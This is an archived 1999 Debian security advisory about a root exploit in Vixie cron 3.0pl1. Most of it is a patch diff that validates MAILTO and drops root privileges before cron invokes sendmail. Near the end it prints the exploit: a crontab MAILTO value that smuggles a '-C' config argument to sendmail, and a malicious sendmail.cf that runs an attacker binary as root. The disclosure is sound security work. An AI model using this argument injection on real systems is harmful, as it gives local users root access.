exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

cron_root_patch.txt

cron_root_patch.txt
Posted Sep 22, 1999

Vixie cron root exploit patch

tags | exploit, root
SHA-256 | f54026b4066d61c13b69746bfd949aae014586844e6e4dee58a860c2f0096975

cron_root_patch.txt

Change Mirror Download
Subject:      Vixie Cron version 3.0pl1 vulnerable to root exploit
To: BUGTRAQ@SECURITYFOCUS.COM


Vixie Cron version 3.0pl1 vulne.ems Content-Type: text/plain; charset=us-ascii

*** PGP Signature Status: unknown
*** Signer: Unknown, Key ID xAE8F7CF5
*** Signed: 8/28/99 11:42:41 PM
*** Verified: 9/22/99 1:44:11 AM
*** BEGIN PGP VERIFIED MESSAGE ***


Red Hat has recently released a Security Advisory (RHSA-1999:030-01)
covering a reverse denial of service bug in the vixie cron package.
As user you could restart sendmail even if the host should not receive
mail through the SMTP port.

Further investigation discovered that it was even worse. Vixie cron
runs as root at the time sending acknowledge mail to a user. Passing
arbitrary parameters to sendmail at this time leads into a possible
root exploit (like -C/tmp/myexploitsendmail.cf).

Olaf Kirch has developed the following patch that will send the mail
as user instead of root and removes the possibility to pass arguments
to the installed MTA.

Fixed packages available:

Red Hat - already released

Caldera - in progress

Debian - in progress

Slackware - no Vixie cron, they use Dillen's Cron Daemon instead


diff -ur cron-3.0pl1.orig/config.h cron-3.0pl1/config.h
--- cron-3.0pl1.orig/config.h Thu Aug 26 15:03:15 1999
+++ cron-3.0pl1/config.h Thu Aug 26 17:00:14 1999
@@ -42,11 +42,13 @@
*/

#define MAILCMD _PATH_SENDMAIL /*-*/
-#define MAILARGS "%s -FCronDaemon -odi -oem -or0s %s" /*-*/
+#define MAILARGS "%s -FCronDaemon -odi -oem %s" /*-*/
/* -Fx = set full-name of sender
* -odi = Option Deliverymode Interactive
* -oem = Option Errors Mailedtosender
* -or0s = Option Readtimeout -- don't time out
+ * XXX: sendmail doesn't allow -or0s when invoked
+ * by joe user. --okir
*/

/* #define MAILCMD "/bin/mail" /*-*/
diff -ur cron-3.0pl1.orig/cron.h cron-3.0pl1/cron.h
--- cron-3.0pl1.orig/cron.h Thu Aug 26 15:03:16 1999
+++ cron-3.0pl1/cron.h Thu Aug 26 16:45:07 1999
@@ -221,7 +221,7 @@
entry *load_entry __P((FILE *, void (*)(),
struct passwd *, char **));

-FILE *cron_popen __P((char *, char *));
+FILE *cron_popen __P((char *, char *, entry *));


/* in the C tradition, we only create
diff -ur cron-3.0pl1.orig/do_command.c cron-3.0pl1/do_command.c
--- cron-3.0pl1.orig/do_command.c Thu Aug 26 15:03:16 1999
+++ cron-3.0pl1/do_command.c Thu Aug 26 17:14:23 1999
@@ -95,6 +95,21 @@
usernm = env_get("LOGNAME", e->envp);
mailto = env_get("MAILTO", e->envp);

+ /* Check for arguments */
+ if (mailto) {
+ const char *end;
+
+ /* These chars have to match those cron_popen()
+ * uses to split the command string */
+ mailto += strspn(mailto, " \t\n");
+ end = mailto + strcspn(mailto, " \t\n");
+ if (*mailto == '-' || *end != '\0') {
+ printf("Bad Mailto karma.\n");
+ log_it("CRON",getpid(),"error","bad mailto");
+ mailto = NULL;
+ }
+ }
+
#ifdef USE_SIGCHLD
/* our parent is watching for our death by catching SIGCHLD. we
* do not care to watch for our children's deaths this way -- we
@@ -368,7 +383,7 @@
(void) gethostname(hostname, MAXHOSTNAMELEN);
(void) snprintf(mailcmd, sizeof(mailcmd),
MAILARGS, MAILCMD, mailto);
- if (!(mail = cron_popen(mailcmd, "w"))) {
+ if (!(mail = cron_popen(mailcmd, "w", e))) {
perror(MAILCMD);
(void) _exit(ERROR_EXIT);
}
diff -ur cron-3.0pl1.orig/popen.c cron-3.0pl1/popen.c
--- cron-3.0pl1.orig/popen.c Thu Aug 26 15:03:16 1999
+++ cron-3.0pl1/popen.c Thu Aug 26 17:01:24 1999
@@ -44,8 +44,9 @@
static int fds;

FILE *
-cron_popen(program, type)
+cron_popen(program, type, e)
char *program, *type;
+ entry *e;
{
register char *cp;
FILE *iop;
@@ -115,6 +116,14 @@
}
(void)close(pdes[1]);
}
+ /* Lose root privilege */
+ setgid(e->gid);
+# if defined(BSD) || defined(POSIX)
+ initgroups(env_get("LOGNAME", e->envp), e->gid);
+# endif
+ setuid(e->uid);
+ chdir(env_get("HOME", e->envp));
+
#if WANT_GLOBBING
execvp(gargv[0], gargv);
#else

The exploit has also been developed by Olaf Kirch:

Set the user's crontab to

MAILTO=" -C/tmp/myexploitsendmail.cf"
* * * * * ls

In /tmp/myexploitsendmail.cf you basically modify the local mailer:

O DefaultUser=root:root
Mlocal, P=/tmp/hackme, F=lsDFMAw5:/|@qXfmnz9, S=10/30,
R=20/40,
T=DNS/RFC822/X-Unix,
A=mail.local -l

i.e. remove the S flag, and set DefaultUser.

--
----------------------------------------------------------------------
Debian Security Team http://www.debian.org/security/

debian-security-announce@lists.debian.org


*** END PGP VERIFIED MESSAGE ***

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close